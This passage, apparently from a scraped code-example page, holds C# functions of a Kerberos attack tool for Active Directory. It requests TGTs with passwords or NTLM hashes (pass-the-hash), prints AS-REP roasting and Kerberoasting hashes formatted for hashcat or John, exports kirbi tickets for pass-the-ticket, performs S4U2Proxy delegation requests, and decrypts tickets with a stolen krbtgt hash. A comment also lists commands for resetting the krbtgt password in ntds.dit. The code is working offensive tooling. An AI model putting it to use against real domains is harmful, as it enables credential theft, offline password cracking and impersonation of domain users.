                KdcOptions.RenewableOk;
            string    s4u             = null;
            KrbTicket s4uTicket       = s4u2self.Ticket;
            KrbTicket u2uServerTicket = null;



            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;

                additionalTickets.Add(rst.S4uTicket);
            }

            //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
            string[] name = { };
            var      body = new KrbKdcReqBody
            {
                EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = name
                },
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );


            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.ResourceBasedConstrainedDelegation
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");

            try
            {
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    PrintFunc.PrintRep(tgsRep, credKey);

                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
                }

                if (outKirbi)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);

                    Console.WriteLine("[+] TGS Kirbi:");
                    Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                }
            }catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }
        }
예제 #22
0
        //askTGT
        public static async System.Threading.Tasks.Task <KrbAsRep> askTGT(string kdc,
                                                                          ILoggerFactory logger,
                                                                          TcpKerberosTransport transport,
                                                                          string username,
                                                                          string password,
                                                                          string domainName,
                                                                          bool outKirbi           = false,
                                                                          bool verbose            = false,
                                                                          string format           = "hashcat",
                                                                          bool asreproast         = false,
                                                                          bool ptt                = false,
                                                                          string hash             = null,
                                                                          EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                          bool outfile            = false,
                                                                          string tgtHash          = null,
                                                                          EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                          )
        {
            var now = DateTime.Now;

            Console.WriteLine("[*] Starting Kerberos Authentication ...");

            if (password != null)
            {
                cred = new KerberosPasswordCredential(username, password, domainName);
            }
            else
            {
                cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
            }

            credKey = cred.CreateKey();

            //Pre-Auth
            KrbAsReq asReqMessage             = null;
            KrbAsRep asRep                    = null;
            bool     notPreauth               = true;
            AuthenticationOptions authOptions =
                AuthenticationOptions.IncludePacRequest |
                AuthenticationOptions.RenewableOk |
                AuthenticationOptions.Canonicalize |
                AuthenticationOptions.Renewable |
                AuthenticationOptions.Forwardable;
            int authAttempt = 0;

            while (notPreauth)
            {
                authAttempt += 1;

                try
                {
                    Console.WriteLine("[*] Sending AS-REQ ...");

                    var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication);

                    var hostAddress = Environment.MachineName;

                    var pacRequest = new KrbPaPacRequest
                    {
                        IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest)
                    };

                    var padata = new List <KrbPaData>()
                    {
                        new KrbPaData
                        {
                            Type  = PaDataType.PA_PAC_REQUEST,
                            Value = pacRequest.Encode()
                        }
                    };


                    asReqMessage = new KrbAsReq()
                    {
                        Body = new KrbKdcReqBody
                        {
                            Addresses = new[]
                            {
                                new KrbHostAddress
                                {
                                    AddressType = AddressType.NetBios,
                                    Address     = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' '))
                                }
                            },
                            CName = new KrbPrincipalName()
                            {
                                Type = PrincipalNameType.NT_PRINCIPAL,
                                Name = new[] { username }// + "@" + domainName.ToUpper() }
                            },
                            //KrbPrincipalName.FromString(
                            //    username,
                            //   PrincipalNameType.NT_ENTERPRISE,
                            //    domainName
                            //),
                            EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype,
                            KdcOptions = kdcOptions,
                            Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                            RTime      = KrbConstants.KerberosConstants.EndOfTime,
                            Realm      = credKey.PrincipalName.Realm,
                            SName      = new KrbPrincipalName
                            {
                                Type = PrincipalNameType.NT_SRV_INST,
                                Name = new[] { "krbtgt", credKey.PrincipalName.Realm }
                            },
                            Till = KrbConstants.KerberosConstants.EndOfTime
                        },
                        PaData = padata.ToArray()
                    };

                    if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
                    {
                        var ts = new KrbPaEncTsEnc()
                        {
                            PaTimestamp = now,
                            PaUSec      = now.Millisecond,
                        };

                        var tsEncoded = ts.Encode();

                        var padataAs = asReqMessage.PaData.ToList();

                        KrbEncryptedData encData = KrbEncryptedData.Encrypt(
                            tsEncoded,
                            credKey,
                            KeyUsage.PaEncTs
                            );

                        padataAs.Add(new KrbPaData
                        {
                            Type  = PaDataType.PA_ENC_TIMESTAMP,
                            Value = encData.Encode()
                        });

                        asReqMessage.PaData = padataAs.ToArray();
                    }

                    //AS-Req Part
                    if (verbose)
                    {
                        PrintFunc.PrintReq(asReqMessage, credKey);
                    }

                    var asReq = asReqMessage.EncodeApplication();

                    asRep = await transport.SendMessage <KrbAsRep>(
                        domainName,
                        asReq,
                        default(CancellationToken));
                }
                catch (KerberosProtocolException pex)
                {
                    Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);

                    if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED)
                    {
                        if (asreproast)
                        {
                            Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n");
                            Environment.Exit(0);
                        }
                        else
                        {
                            //Salt issue for RID 500 Built-in admin account
                            //https://github.com/dotnet/Kerberos.NET/issues/164
                            if (password != null)
                            {
                                cred = new KerberosPasswordCredential(username, password, domainName);
                            }
                            else
                            {
                                cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
                            }

                            cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication());
                            credKey = cred.CreateKey();

                            authOptions |= AuthenticationOptions.PreAuthenticate;
                            Console.WriteLine("[*] Adding encrypted timestamp ...");
                        }
                    }
                    else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED)
                    {
                        Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n");
                        Environment.Exit(0);
                    }
                    else
                    {
                        Console.WriteLine("[x] Authentication Stopped ...\n");
                        Environment.Exit(0);
                    }
                }
                if (authAttempt == 2 || asreproast)
                {
                    notPreauth = false;
                }
            }

            Console.WriteLine("[*] Receiving AS-REP...");

            if (asreproast)
            {
                //Asreproasting
                string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty);
                repHash = repHash.Insert(32, "$");

                string hashString = "";
                if (format == "john")
                {
                    hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash);
                    Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
                }
                else
                {
                    hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash);
                    Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
                }
            }
            else
            {
                try
                {
                    KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep(
                        asRep,
                        KeyUsage.EncAsRepPart,
                        d => KrbEncAsRepPart.DecodeApplication(d));

                    if (verbose)
                    {
                        //AS-Rep Part
                        PrintFunc.PrintRep(asRep, credKey);

                        if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
                        {
                            Console.WriteLine("    * [Decrypted Enc-Part]:");

                            PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey);


                            ////////////////////////////////////////decrypt TGT
                            //// net stop ntds
                            //// $key =Get-BootKey -Online
                            //// $cred =  ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force
                            //// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key
                            //// net start ntds

                            ////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab"));
                            ////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName);
                            ///

                            if (!string.IsNullOrEmpty(tgtHash))
                            {
                                var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype);

                                //TGS - REQ Ticket Enc-Part
                                var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt
                                                          (krbtgtCred.CreateKey(),
                                                          KeyUsage.Ticket,
                                                          b => KrbEncTicketPart.DecodeApplication(b));
                                Console.WriteLine("   * [Decrypted TGT]:");
                                PrintFunc.PrintTicketEnc(ticketDecrypted);
                                //Encrypt the ticket again
                                asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(),
                                                                                      krbtgtCred.CreateKey(), KeyUsage.Ticket);
                            }

                            //////////////////////////////////////TGT
                        }
                    }

                    if (outKirbi || outfile)
                    {
                        var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt);
                        if (outKirbi)
                        {
                            Console.WriteLine("[+] TGT Kirbi:");
                            Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGT));
                        }
                        if (outfile)
                        {
                            Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT);
                        }
                    }
                }
                catch (Exception e)
                {
                    Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message);
                    //Environment.Exit(0);
                }
            }



            return((KrbAsRep)asRep);
        }
예제 #23
0
        //TODO...
        //askTGS with TGT kirbi
        public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
                                                                              ILoggerFactory logger,
                                                                              TcpKerberosTransport transport,
                                                                              KrbAsRep asRep,
                                                                              string username,
                                                                              string password,
                                                                              string domainName,
                                                                              string spn,
                                                                              bool isUnconstrained    = false,
                                                                              bool outKirbi           = false,
                                                                              bool verbose            = false,
                                                                              bool kerberoast         = false,
                                                                              bool ptt                = false,
                                                                              string hash             = null,
                                                                              EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                              bool outfile            = false,
                                                                              string srvName          = null,
                                                                              string tgsHash          = null,
                                                                              EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                              )
        {
            var now = DateTime.Now;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;



            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk |
                KdcOptions.Canonicalize;
            string    s4u             = null;
            KrbTicket s4uTicket       = null;
            KrbTicket u2uServerTicket = null;

            if (isUnconstrained)
            {
                spn         = $"krbtgt/{domainName}";
                kdcOptions |= KdcOptions.Forwarded;
            }


            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions |= KdcOptions.ConstrainedDelegation;

                additionalTickets.Add(rst.S4uTicket);
            }


            var body = new KrbKdcReqBody
            {
                //Specify RC4 as the only supported EType
                EType      = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = rst.CNameHint
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );

            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.BranchAware
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP ...");
            if (verbose)
            {
                PrintFunc.PrintRep(tgsRep, credKey);
            }



            var returnFlag = TicketFlags.Anonymous;

            try
            {
                //TGS-REP Enc-Part
                //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);

                    returnFlag = tgsDecryptedRepPart.Flags;


                    if (!string.IsNullOrEmpty(tgsHash))
                    {
                        //=========================================
                        //TGS Tiket Enc-Part
                        //Service account Cred
                        var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);

                        //TGS-REQ Ticket Enc-Part
                        KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
                                                               (kerbCred2.CreateKey(),
                                                               KeyUsage.Ticket,
                                                               (ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));

                        Console.WriteLine("    * [Decrypted Ticket Enc-Part]:");
                        PrintFunc.PrintTicketEnc(ticketDecrypted);
                        //=========================================
                    }
                }


                if (outKirbi || outfile)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
                    if (outKirbi)
                    {
                        Console.WriteLine("[+] TGS Kirbi:");
                        Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                    }
                    if (outfile)
                    {
                        Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }



            if (kerberoast)
            {
                //Kerberoasting
                var encType    = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
                var myCipher   = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
                var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
                Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
            }


            return(returnFlag);
        }